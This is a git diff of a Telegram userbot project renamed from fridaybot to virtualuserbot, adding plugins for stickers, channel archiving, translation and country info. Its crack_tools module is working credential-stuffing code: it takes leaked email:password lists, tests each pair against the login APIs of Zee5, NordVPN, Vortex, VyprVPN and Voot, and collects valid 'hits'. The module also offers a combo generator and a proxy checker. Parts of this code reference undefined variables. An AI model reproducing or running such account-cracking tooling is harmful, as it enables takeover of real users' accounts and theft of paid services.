dark.edit(f"ℕ𝕒𝕞𝕖:-\n`{killer}`\n\n𝔸𝕕𝕕𝕣𝕖𝕤𝕤:-\n`{kali}`\n\nℂ𝕒𝕣𝕕:-\n`{danish}`") diff --git a/fridaybot/modules/cbutton.py b/virtualuserbot/modules/cbutton.py similarity index 100% rename from fridaybot/modules/cbutton.py rename to virtualuserbot/modules/cbutton.py diff --git a/fridaybot/modules/chain.py b/virtualuserbot/modules/chain.py similarity index 92% rename from fridaybot/modules/chain.py rename to virtualuserbot/modules/chain.py index b19f7331..8fb082c3 100644 --- a/fridaybot/modules/chain.py +++ b/virtualuserbot/modules/chain.py @@ -4,7 +4,7 @@ from telethon.tl.functions.messages import SaveDraftRequest -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="chain")) diff --git a/fridaybot/modules/channel_download.py b/virtualuserbot/modules/channel_download.py similarity index 96% rename from fridaybot/modules/channel_download.py rename to virtualuserbot/modules/channel_download.py index 092be306..f45d0845 100644 --- a/fridaybot/modules/channel_download.py +++ b/virtualuserbot/modules/channel_download.py @@ -1,5 +1,5 @@ """ -Telegram Channel Media Downloader Plugin for fridaybot. +Telegram Channel Media Downloader Plugin for virtualuserbot. usage: .geta channel_username [will get all media from channel, tho there is limit of 3000 there to prevent API limits.] .getc number_of_messsages channel_username By: @Zero_cool7870 @@ -9,7 +9,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="getc")) diff --git a/virtualuserbot/modules/channel_sticker.py b/virtualuserbot/modules/channel_sticker.py new file mode 100644 index 00000000..04aa0886 --- /dev/null +++ b/virtualuserbot/modules/channel_sticker.py @@ -0,0 +1,82 @@ +from telethon import events +from telethon.utils import pack_bot_file_id + +from virtualuserbot.modules.sql_helper.channel_sticker_sql import ( + add_new_data_in_db, + is_data_indb, + remove_datas, +) +from virtualuserbot.utils import admin_cmd + +lulstark = [".", ",", "!", "'"] + + +@friday.on(admin_cmd(pattern="scs$")) +async def _m(event): + await event.edit("`Processing..`") + id_s = event.chat_id + lmao = await event.get_reply_message() + if event.is_group: + await event.edit("`No, LoL You Can't Set Channel Stickers In Groups, lol`") + return + if event.is_private: + await event.edit( + "`No, LoL You Can't Set Channel Stickers In Private Chats, lol`" + ) + return + if lmao.sticker.mime_type != "image/webp": + await event.edit("`Only Sticker Allowded.`") + return + if is_data_indb(id_s): + await event.edit( + "`This Channel Sticker Data Is Already In Db, Remove First To Update it.`" + ) + return + if not is_data_indb(id_s): + bot_api_file_id = pack_bot_file_id(lmao.media) + add_new_data_in_db(id_s, bot_api_file_id) + await event.edit( + "`This Sticker Has Been Set As Channel Sticker For This Channel`" + ) + + +@friday.on(admin_cmd(pattern="rcs$")) +async def _m(event): + await event.edit("`Processing..`") + id_s = event.chat_id + if is_data_indb(id_s): + remove_datas(id_s) + await event.edit("`Done, I have Removed This Channel From DB`") + elif not is_data_indb(id_s): + await event.edit("`You Need To Set Channel Sticker To Remove It`") + + +@friday.on(admin_cmd(pattern="ccs$")) +async def _m(event): + await event.edit("`Processing..`") + id_s = event.chat_id + if is_data_indb(id_s): + await event.edit( + f"**Yes, Channel Sticker Has Been Set. Sticker ID :** `{is_data_indb(id_s)}`" + ) + elif not is_data_indb(id_s): + await event.edit("`No Channel Sticker Set For This Channel.`") + + +@bot.on(events.NewMessage) +async def lul(event): + lsb = event.chat_id + id_s = event.chat_id + if is_data_indb(event.chat_id): + if event.text.startswith(tuple(lulstark)): + return + try: + await borg.send_file(event.chat_id, is_data_indb(event.chat_id)) + except: + await borg.send_message( + Config.PRIVATE_GROUP_ID, + f"Failed, To Send Sticker in {lsb}, Probably Due To No Access, Or Channel Not Found.", + ) + return + elif not is_data_indb(id_s): + return diff --git a/virtualuserbot/modules/channel_zipper.py b/virtualuserbot/modules/channel_zipper.py new file mode 100644 index 00000000..b920bc48 --- /dev/null +++ b/virtualuserbot/modules/channel_zipper.py @@ -0,0 +1,75 @@ +# Copyright (C) Midhun KM 2020-2021 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import os +import shutil +import uuid + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd + + +@friday.on(friday_on_cmd(pattern="chnnlzip(?: |$)(.*)")) +async def starky(event): + un = event.pattern_match.group(1) + rndm = uuid.uuid4().hex + dir = f"./{rndm}/" + media_count = 0 + text_count = 0 + os.makedirs(dir) + if un: + chnnl = un + else: + chnnl = event.chat_id + await event.edit(f"**Fetching All Files From This Channel**") + try: + chnnl_msgs = await borg.get_messages(chnnl, limit=3000) + except: + await event.edit( + "**Unable To fetch Messages !** \n`Please, Check Channel Details And IF THere Are Any Media :/`" + ) + return + total = int(chnnl_msgs.total) + await event.edit(f"**Downloading {total} Media/Messages**") + for d in chnnl_msgs: + if d.media: + media_count += 1 + await borg.download_media(d.media, dir) + if d.text: + text_count += 1 + f = open(f"{dir}{chnnl}.txt", "a") + f.write(f"{d.raw_text} \n\n") + await event.edit( + f"**Total Media :** `{total}` \n**Downloaded Media :** `{media_count}` \n**Total Texts Appended :** `{text_count}` \n**Now Zipping Files.**" + ) + shutil.make_archive(f"{chnnl}", "zip", dir) + tf = await event.edit( + f"**Total Media :** `{total}` \n**Downloaded Media :** `{media_count}` \n**Total Texts Appended :** `{text_count}` \n**Uploading Zip**" + ) + await borg.send_file( + event.chat_id, + f"{chnnl}.zip", + caption=f"**Total Media :** `{total}` \n**Downloaded Media :** `{media_count}` \n**Total Texts Appended :** `{text_count}`", + ) + await tf.delete() + os.remove(f"{chnnl}.zip") + shutil.rmtree(dir) + + +CMD_HELP.update( + { + "channel_zipper": "**Channel Zipper**\ +\n\n**Syntax : **`.chnnlzip `\ +\n**Usage :** Zips All The Files/images/messages in the channel." + } +) diff --git a/fridaybot/modules/checker.py b/virtualuserbot/modules/checker.py similarity index 100% rename from fridaybot/modules/checker.py rename to virtualuserbot/modules/checker.py diff --git a/fridaybot/modules/checkrestrictions.py b/virtualuserbot/modules/checkrestrictions.py similarity index 96% rename from fridaybot/modules/checkrestrictions.py rename to virtualuserbot/modules/checkrestrictions.py index bafed2e5..a5892033 100644 --- a/fridaybot/modules/checkrestrictions.py +++ b/virtualuserbot/modules/checkrestrictions.py @@ -6,7 +6,7 @@ .cr (.*)""" from telethon.tl.types import Channel, Chat, User -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd @borg.on(friday_on_cmd(pattern="cr (.*)")) diff --git a/fridaybot/modules/chotatweak.py b/virtualuserbot/modules/chotatweak.py similarity index 100% rename from fridaybot/modules/chotatweak.py rename to virtualuserbot/modules/chotatweak.py diff --git a/virtualuserbot/modules/classictranslate.py b/virtualuserbot/modules/classictranslate.py new file mode 100644 index 00000000..3dc3a391 --- /dev/null +++ b/virtualuserbot/modules/classictranslate.py @@ -0,0 +1,55 @@ +""" Google Translate +Available Commands: +.tl LanguageCode as reply to a message +.tl LangaugeCode | text to translate""" + +import emoji +from googletrans import Translator + +from virtualuserbot import CMD_HELP + +from ..utils import admin_cmd + + +@borg.on(admin_cmd("tl ?(.*)")) +async def _(event): + if event.fwd_from: + return + if "trim" in event.raw_text: + # https://t.me/c/1220993104/192075 + return + input_str = event.pattern_match.group(1) + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + text = previous_message.message + lan = input_str or "en" + elif "|" in input_str: + lan, text = input_str.split("|") + else: + await event.edit(".tl LanguageCode as reply to a message") + return + text = emoji.demojize(text.strip()) + lan = lan.strip() + translator = Translator() + try: + translated = translator.translate(text, dest=lan) + after_tr_text = translated.text + # TODO: emojify the : + # either here, or before translation + output_str = """**Translated Successfully** from {} to {} +{}""".format( + translated.src, lan, after_tr_text + ) + await event.edit(output_str) + except Exception as exc: + await event.edit(str(exc)) + + +CMD_HELP.update( + { + "classic translate": ".tl " + "\nUsage: reply any msg with .tr (language code) example .tr en / .tr hi\n\n" + ".tl | " + "\nUsage: translate text example .tr en|msg (note:- this | mark is important.\n\n" + } +) diff --git a/fridaybot/modules/clone.py b/virtualuserbot/modules/clone.py similarity index 95% rename from fridaybot/modules/clone.py rename to virtualuserbot/modules/clone.py index b77305a9..d05c952f 100644 --- a/fridaybot/modules/clone.py +++ b/virtualuserbot/modules/clone.py @@ -9,8 +9,8 @@ from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="clone ?(.*)")) @@ -75,14 +75,14 @@ async def get_full_user(event): if previous_message.forward: replied_user = await event.client( GetFullUserRequest( - previous_message.forward.from_id + previous_message.forward.sender_id or previous_message.forward.channel_id ) ) return replied_user, None else: replied_user = await event.client( - GetFullUserRequest(previous_message.from_id) + GetFullUserRequest(previous_message.sender_id) ) return replied_user, None else: diff --git a/fridaybot/modules/cmd_list.py b/virtualuserbot/modules/cmd_list.py similarity index 87% rename from fridaybot/modules/cmd_list.py rename to virtualuserbot/modules/cmd_list.py index 2f6888ba..a0352d4d 100644 --- a/fridaybot/modules/cmd_list.py +++ b/virtualuserbot/modules/cmd_list.py @@ -1,7 +1,7 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd # @command(pattern="^.cmds", outgoing=True) @@ -9,7 +9,7 @@ async def install(event): if event.fwd_from: return - cmd = "ls fridaybot/modules" + cmd = "ls virtualuserbot/modules" process = await asyncio.create_subprocess_shell( cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) diff --git a/fridaybot/modules/coinflip.py b/virtualuserbot/modules/coinflip.py similarity index 97% rename from fridaybot/modules/coinflip.py rename to virtualuserbot/modules/coinflip.py index 57abf67f..b9a13cdc 100644 --- a/fridaybot/modules/coinflip.py +++ b/virtualuserbot/modules/coinflip.py @@ -4,7 +4,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="coin ?(.*)")) diff --git a/fridaybot/modules/colors.py b/virtualuserbot/modules/colors.py similarity index 93% rename from fridaybot/modules/colors.py rename to virtualuserbot/modules/colors.py index 0586dfd1..5a21b2fd 100644 --- a/fridaybot/modules/colors.py +++ b/virtualuserbot/modules/colors.py @@ -4,8 +4,8 @@ from PIL import Image, ImageColor -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="color (.*)")) diff --git a/virtualuserbot/modules/compress.py b/virtualuserbot/modules/compress.py new file mode 100644 index 00000000..db7fd770 --- /dev/null +++ b/virtualuserbot/modules/compress.py @@ -0,0 +1,83 @@ +import asyncio +import os +import time +import zipfile + +from uniborg.util import admin_cmd + + +@borg.on(admin_cmd(pattern="compress ?(.*)")) +async def _(event): + + if event.fwd_from: + + return + + input_str = event.pattern_match.group(1) + + mone = await event.edit("Processing ...") + + if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): + + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) + + if event.reply_to_msg_id: + + reply_message = await event.get_reply_message() + + try: + + time.time() + + downloaded_file_name = await borg.download_media( + reply_message, Config.TMP_DOWNLOAD_DIRECTORY + ) + + directory_name = downloaded_file_name + + await event.edit("Finish downloading to my local") + + zipfile.ZipFile(directory_name + ".zip", "w", zipfile.ZIP_DEFLATED).write( + directory_name + ) + + await borg.send_file( + event.chat_id, + directory_name + ".zip", + caption="Zipped By [𝔅𝔩𝔞𝔠𝔨 𝔏𝔦𝔤𝔥𝔱𝔫𝔦𝔫𝔤](https://github.com/Anmol-dot283/Black-Lightning)", + force_document=True, + allow_cache=False, + reply_to=event.message.id, + ) + + try: + + os.remove(directory_name + ".zip") + + os.remove(directory_name) + + except: + + pass + + await event.edit("task Completed") + + await asyncio.sleep(3) + + await event.delete() + + except Exception as e: # pylint:disable=C0103,W0703 + + await mone.edit(str(e)) + + elif input_str: + + directory_name = input_str + + zipfile.ZipFile(directory_name + ".zip", "w", zipfile.ZIP_DEFLATED).write( + directory_name + ) + + await event.edit( + "Local file compressed to `{}`".format(directory_name + ".zip") + ) diff --git a/fridaybot/modules/congratulations.py b/virtualuserbot/modules/congratulations.py similarity index 96% rename from fridaybot/modules/congratulations.py rename to virtualuserbot/modules/congratulations.py index f68a3f88..5001f890 100644 --- a/fridaybot/modules/congratulations.py +++ b/virtualuserbot/modules/congratulations.py @@ -2,7 +2,7 @@ from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP RUNSREACTS = [ "`Congratulations and BRAVO!`", diff --git a/virtualuserbot/modules/copy.py b/virtualuserbot/modules/copy.py new file mode 100644 index 00000000..98726e0c --- /dev/null +++ b/virtualuserbot/modules/copy.py @@ -0,0 +1,23 @@ +# Original credits to Black Lightning + +from virtualuserbot import CMD_HELP + +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern="copy")) +async def _(event): + if event.fwd_from: + return + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + the_real_message = previous_message.text + event.reply_to_msg_id + the_real_message = the_real_message.replace("*", "*") + the_real_message = the_real_message.replace("_", "_") + await event.edit(the_real_message) + else: + await event.edit("Reply to a message .copy to copy nd paste ") + + +CMD_HELP.update({"copy": ".c " "\nc that text nd redeliver it"}) diff --git a/fridaybot/modules/count.py b/virtualuserbot/modules/count.py similarity index 96% rename from fridaybot/modules/count.py rename to virtualuserbot/modules/count.py index 12adb187..c4c88f86 100644 --- a/fridaybot/modules/count.py +++ b/virtualuserbot/modules/count.py @@ -7,8 +7,8 @@ from telethon.tl.custom import Dialog from telethon.tl.types import Channel, Chat, User -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd logging.basicConfig( format="[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s", level=logging.WARNING @@ -16,7 +16,7 @@ logger = logging.getLogger(__name__) -# @friday.on(friday_on_cmd(pattern="count")) +# @friday.on(friday_on_cmd(pattern="count$")) # async def _(event): # if event.fwd_from: # return @@ -52,7 +52,7 @@ # Bots:\t{}""".format(ms, u, g, c, bc, b)) -@friday.on(friday_on_cmd(pattern="count")) +@friday.on(friday_on_cmd(pattern="count$")) async def stats( event: NewMessage.Event, ) -> None: # pylint: disable = R0912, R0914, R0915 diff --git a/fridaybot/modules/countdown.py b/virtualuserbot/modules/countdown.py similarity index 100% rename from fridaybot/modules/countdown.py rename to virtualuserbot/modules/countdown.py diff --git a/virtualuserbot/modules/countries.py b/virtualuserbot/modules/countries.py new file mode 100644 index 00000000..611d5213 --- /dev/null +++ b/virtualuserbot/modules/countries.py @@ -0,0 +1,134 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import flag +from countryinfo import CountryInfo + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="country (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + lol = input_str + country = CountryInfo(lol) + try: + a = country.info() + except: + await event.edit("Country Not Avaiable Currently") + name = a.get("name") + bb = a.get("altSpellings") + hu = "" + for p in bb: + hu += p + ", " + + area = a.get("area") + borders = "" + hell = a.get("borders") + for fk in hell: + borders += fk + ", " + + call = "" + WhAt = a.get("callingCodes") + for what in WhAt: + call += what + " " + + capital = a.get("capital") + currencies = "" + fker = a.get("currencies") + for FKer in fker: + currencies += FKer + ", " + + HmM = a.get("demonym") + geo = a.get("geoJSON") + pablo = geo.get("features") + Pablo = pablo[0] + PAblo = Pablo.get("geometry") + EsCoBaR = PAblo.get("type") + iso = "" + iSo = a.get("ISO") + for hitler in iSo: + po = iSo.get(hitler) + iso += po + ", " + fla = iSo.get("alpha2") + nox = fla.upper() + okie = flag.flag(nox) + + languages = a.get("languages") + lMAO = "" + for lmao in languages: + lMAO += lmao + ", " + + nonive = a.get("nativeName") + waste = a.get("population") + reg = a.get("region") + sub = a.get("subregion") + tik = a.get("timezones") + tom = "" + for jerry in tik: + tom += jerry + ", " + + GOT = a.get("tld") + lanester = "" + for targaryen in GOT: + lanester += targaryen + ", " + + wiki = a.get("wiki") + + caption = f"""information gathered successfully + +Country Name:- {name} +Alternative Spellings:- {hu} +Country Area:- {area} square kilometers +Borders:- {borders} +Calling Codes:- {call} +Country's Capital:- {capital} +Country's currency:- {currencies} +Country's Flag:- {okie} +Demonym:- {HmM} +Country Type:- {EsCoBaR} +ISO Names:- {iso} +Languages:- {lMAO} +Native Name:- {nonive} +population:- {waste} +Region:- {reg} +Sub Region:- {sub} +Time Zones:- {tom} +Top Level Domain:- {lanester} +wikipedia:- {wiki} + +Information Gathered By VirtualUserbot. +Get Your Own Superpowers with VirtualUserbot. +""" + + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + ) + + await event.delete() + + +CMD_HELP.update( + { + "countries": "**Countries**\ +\n\n**Syntax : **`.country `\ +\n**Usage :** Gives Information About Given Country.\ +\n\n**Example : **`.country Sri Lanks`\ +\nThis above syntax gives Information about Sri Lanks" + } +) diff --git a/fridaybot/modules/covid.py b/virtualuserbot/modules/covid.py similarity index 96% rename from fridaybot/modules/covid.py rename to virtualuserbot/modules/covid.py index 6cd9be28..d8c04467 100644 --- a/fridaybot/modules/covid.py +++ b/virtualuserbot/modules/covid.py @@ -1,8 +1,10 @@ # corona virus stats for catuserbot from covid import Covid -from telethon import events + +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import CMD_HELP + @bot.on(admin_cmd(pattern="covid(?: |$)(.*)")) @bot.on(sudo_cmd(pattern="covid(?: |$)(.*)", allow_sudo=True)) @@ -33,8 +35,6 @@ async def corona(event): "Corona Virus Info of {}:\n{}".format(country, data), parse_mode="html", ) - - CMD_HELP.update( diff --git a/fridaybot/modules/cow.py b/virtualuserbot/modules/cow.py similarity index 93% rename from fridaybot/modules/cow.py rename to virtualuserbot/modules/cow.py index 7d605bc4..e7ebf171 100644 --- a/fridaybot/modules/cow.py +++ b/virtualuserbot/modules/cow.py @@ -6,12 +6,12 @@ from cowpy import cow from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"^.(\w+)say (.*)", outgoing=True)) async def univsaye(cowmsg): - """ For .cowsay module, uniborg wrapper for cow which says things. """ + """For .cowsay module, uniborg wrapper for cow which says things.""" if not cowmsg.text[0].isalpha() and cowmsg.text[0] not in ("/", "#", "@", "!"): arg = cowmsg.pattern_match.group(1).lower() text = cowmsg.pattern_match.group(2) diff --git a/virtualuserbot/modules/crack_tools.py b/virtualuserbot/modules/crack_tools.py new file mode 100644 index 00000000..cd5bbe42 --- /dev/null +++ b/virtualuserbot/modules/crack_tools.py @@ -0,0 +1,502 @@ +import os + +import requests +from uniborg.util import friday_on_cmd + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd, friday_on_cmd + +data = { + "User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0", + "Content-Length": "55", + "Accept-Encoding": "gzip", +} + +data2 = {"accept-encoding": "gzip", "user-agent": "RemotrAndroid/1.5.0"} + + +face = { + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "keep-alive", + "Content-Length": "136", + "Content-Type": "application/json;charset=UTF-8", + "Host": "userauth.voot.com", + "Origin": "https://www.voot.com", + "Referer": "https://www.voot.com", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66", +} + + +pq = { + "Accept": "application/json, text/plain", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8,ta;q=0.7", + "Connection": "keep-alive", + "Host": "api.cloud.altbalaji.com", + "Origin": "https://www.altbalaji.com", + "Referer": "https://www.altbalaji.com/", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36", +} + + +@friday.on(friday_on_cmd(pattern="cz5$")) +async def zee5(event): + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) + stark_dict = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + with open(starky) as f: + stark_dict = f.read().splitlines() + os.remove(starky) + if len(stark_dict) > 50: + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") + return + for i in stark_dict: + starkm = i.split(":") + email = starkm[0] + password = starkm[1] + try: + meke = requests.get( + f"https://userapi.zee5.com/v1/user/loginemail?email={email}&password={password}" + ).json() + except: + meke = None + if meke.get("token"): + hits += 1 + hits_dict.append(f"{email}:{password}") + else: + bads += 1 + if len(hits_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s + " | @FridayOT\n") + await borg.send_file( + event.chat_id, + "hits.txt", + caption=f"**!ZEE5 HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", + ) + os.remove("hits.txt") + + +@friday.on(friday_on_cmd(pattern="cnd$")) +async def vypr(event): + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) + stark_dict = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + with open(starky) as f: + stark_dict = f.read().splitlines() + os.remove(starky) + if len(stark_dict) > 50: + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") + return + for i in stark_dict: + starkm = i.split(":") + email = starkm[0] + password = starkm[1] + sedlyf = {"username": email, "password": password} + try: + meke = requests.post( + url="https://zwyr157wwiu6eior.com/v1/users/tokens", + headers=data, + json=sedlyf, + ).json() + except Exception: + meke = None + if meke.get("token"): + hits += 1 + hits_dict.append(f"{email}:{password}") + else: + bads += 1 + if len(hits_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s + " | @VirtualUserbot\n") + await borg.send_file( + event.chat_id, + "hits.txt", + caption=f"**!NORD HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", + ) + os.remove("hits.txt") + + +@friday.on(friday_on_cmd(pattern="combogen")) +async def byekanger(event): + url = "http://devsexpo.me/combogen/" + sed = requests.get(url=url).json() + sedjson = f"""ComBo Generated +Email : {sed['email']} +Password : {sed['pass']} +Combo : {sed['combo']} +""" + await event.edit(sedjson, parse_mode="HTML") + + +@friday.on(friday_on_cmd(pattern="cvx$")) +async def vortex(event): + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) + stark_dict = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + with open(starky) as f: + stark_dict = f.read().splitlines() + os.remove(starky) + if len(stark_dict) > 50: + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") + return + for i in stark_dict: + starkm = i.split(":") + email = starkm[0] + password = starkm[1] + sedlyf = {"email": email, "pass": password} + try: + meke = requests.post( + url="https://vortex-api.gg/login", headers=data2, json=sedlyf + ).json() + except Exception: + meke = None + if meke.get("token"): + hits += 1 + hits_dict.append(f"{email}:{password}") + else: + bads += 1 + if len(hits_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s + " | @FridayOT\n") + await borg.send_file( + event.chat_id, + "hits.txt", + caption=f"**!VORTEX HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", + ) + os.remove("hits.txt") + + +@friday.on(friday_on_cmd(pattern="cvr$")) +async def vortex(event): + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) + stark_dict = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + with open(starky) as f: + stark_dict = f.read().splitlines() + os.remove(starky) + if len(stark_dict) > 50: + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") + return + for i in stark_dict: + starkm = i.split(":") + email = starkm[0] + password = starkm[1] + data = { + "username": email, + "password": password, + "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-N950N Build/NMF26X)", + "Connection": "close", + "locale": "en", + "X-GF-PLATFORM": "android", + "X-GF-PRODUCT": "vyprvpn", + "X-GF-Agent": "VyprVPN Android v2.6.4.3156. (1b33ca24)", + "Content-Type": "application/x-www-form-urlencoded", + } + try: + meke = requests.get(url=noob, headers=data).text + except Exception: + meke = None + if "invalid username or password" in meke: + bads += 1 + else: + hits += 1 + plan = find_between(meke, 'account_level_display": "', '"') + hits_dict.append(f"{email}:{password} | Plan = {plan}") + if len(hits_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s + " | @VirtualUserbot\n") + await borg.send_file( + event.chat_id, + "hits.txt", + caption=f"**!VYPR HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", + ) + os.remove("hits.txt") + + +def find_between(s, first, last): + try: + start = s.index(first) + len(first) + end = s.index(last, start) + return s[start:end] + except ValueError: + return "" + + +@friday.on(admin_cmd(pattern="proxy")) +async def _(event): + if event.fwd_from: + return + await event.edit( + "CHECKING PROXIES... PLEASE WAIT. MAY TAKE TIME DEPENDING ON NUMBER OF PROXIES." + ) + pablo = await event.get_reply_message() + escobar = await borg.download_media(pablo.media, Config.TMP_DOWNLOAD_DIRECTORY) + + cmd = f"python3 -m PyProxyToolkit.Console -i {escobar} -o goood.txt -t 80 -x 20 -s httpbinStrategy" + + os.system(cmd) + + file = open("goood.txt", "r") + Counter = 0 + Content = file.read() + CoList = Content.split("\n") + for i in CoList: + if i: + Counter += 1 + file.close() + if Counter <= 0: + await event.edit( + "Check Failed. Either Your File Has All Bad Proxies Or Your Proxy File Is Invalid." + ) + elif Counter >= 1: + file1 = open("goood.txt", "a") + file1.write( + "\nCHECKED BY VirtualUserbot. GET YOUR OWN FRIDAY FROM @VirtualUserbot. " + ) + file1.close() + await borg.send_file( + event.chat_id, + "goood.txt", + caption=f"**PROXIES CHECKED**\n**GOOD PROXIES: ** {Counter}\n\n**CHECKED BY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT.**", + ) + os.remove(escobar) + os.remove("goood.txt") + + +@friday.on(friday_on_cmd(pattern="cvt$")) +async def voot(event): + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) + normal_dict = [] + good_dict = [] + hits = 0 + bady = 0 + lol = await event.get_reply_message() + humm = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + with open(hummu) as f: + normal_dict = f.read().splitlines() + os.remove(humm) + if len(normal_dict) > 50: + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") + return + for i in normal_dict: + mmho = i.split(":") + email = mmho[0] + try: + password = mmho[1] + except IndexError: + continue + hell = { + "type": "traditional", + "deviceId": "Windows NT 10.0", + "deviceBrand": "PC/MAC", + "data": {"email": email, "password": password}, + } + r = requests.post( + "https://userauth.voot.com/usersV3/v3/login", json=hell, headers=face + ).json() + a = r.get("data") + + kk = r.get("status") + + if a != None: + hits += 1 + good_dict.append(f"{email}:{password}") + + elif kk != None: + bady += 1 + c = kk.get("code") + if c == 1906: + await event.edit( + "voot server is blocking the requests. please try after few minutes..." + ) + if len(good_dict) == 0: + return + with open("hits.txt", "w") as hitfile: + for s in good_dict: + hitfile.write(s + " | @VirtualUserbot") + await borg.send_file( + event.chat_id, + "hits.txt", + caption=f"**!VOOT HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bady}`", + ) + os.remove("hits.txt") + return + + if len(good_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in 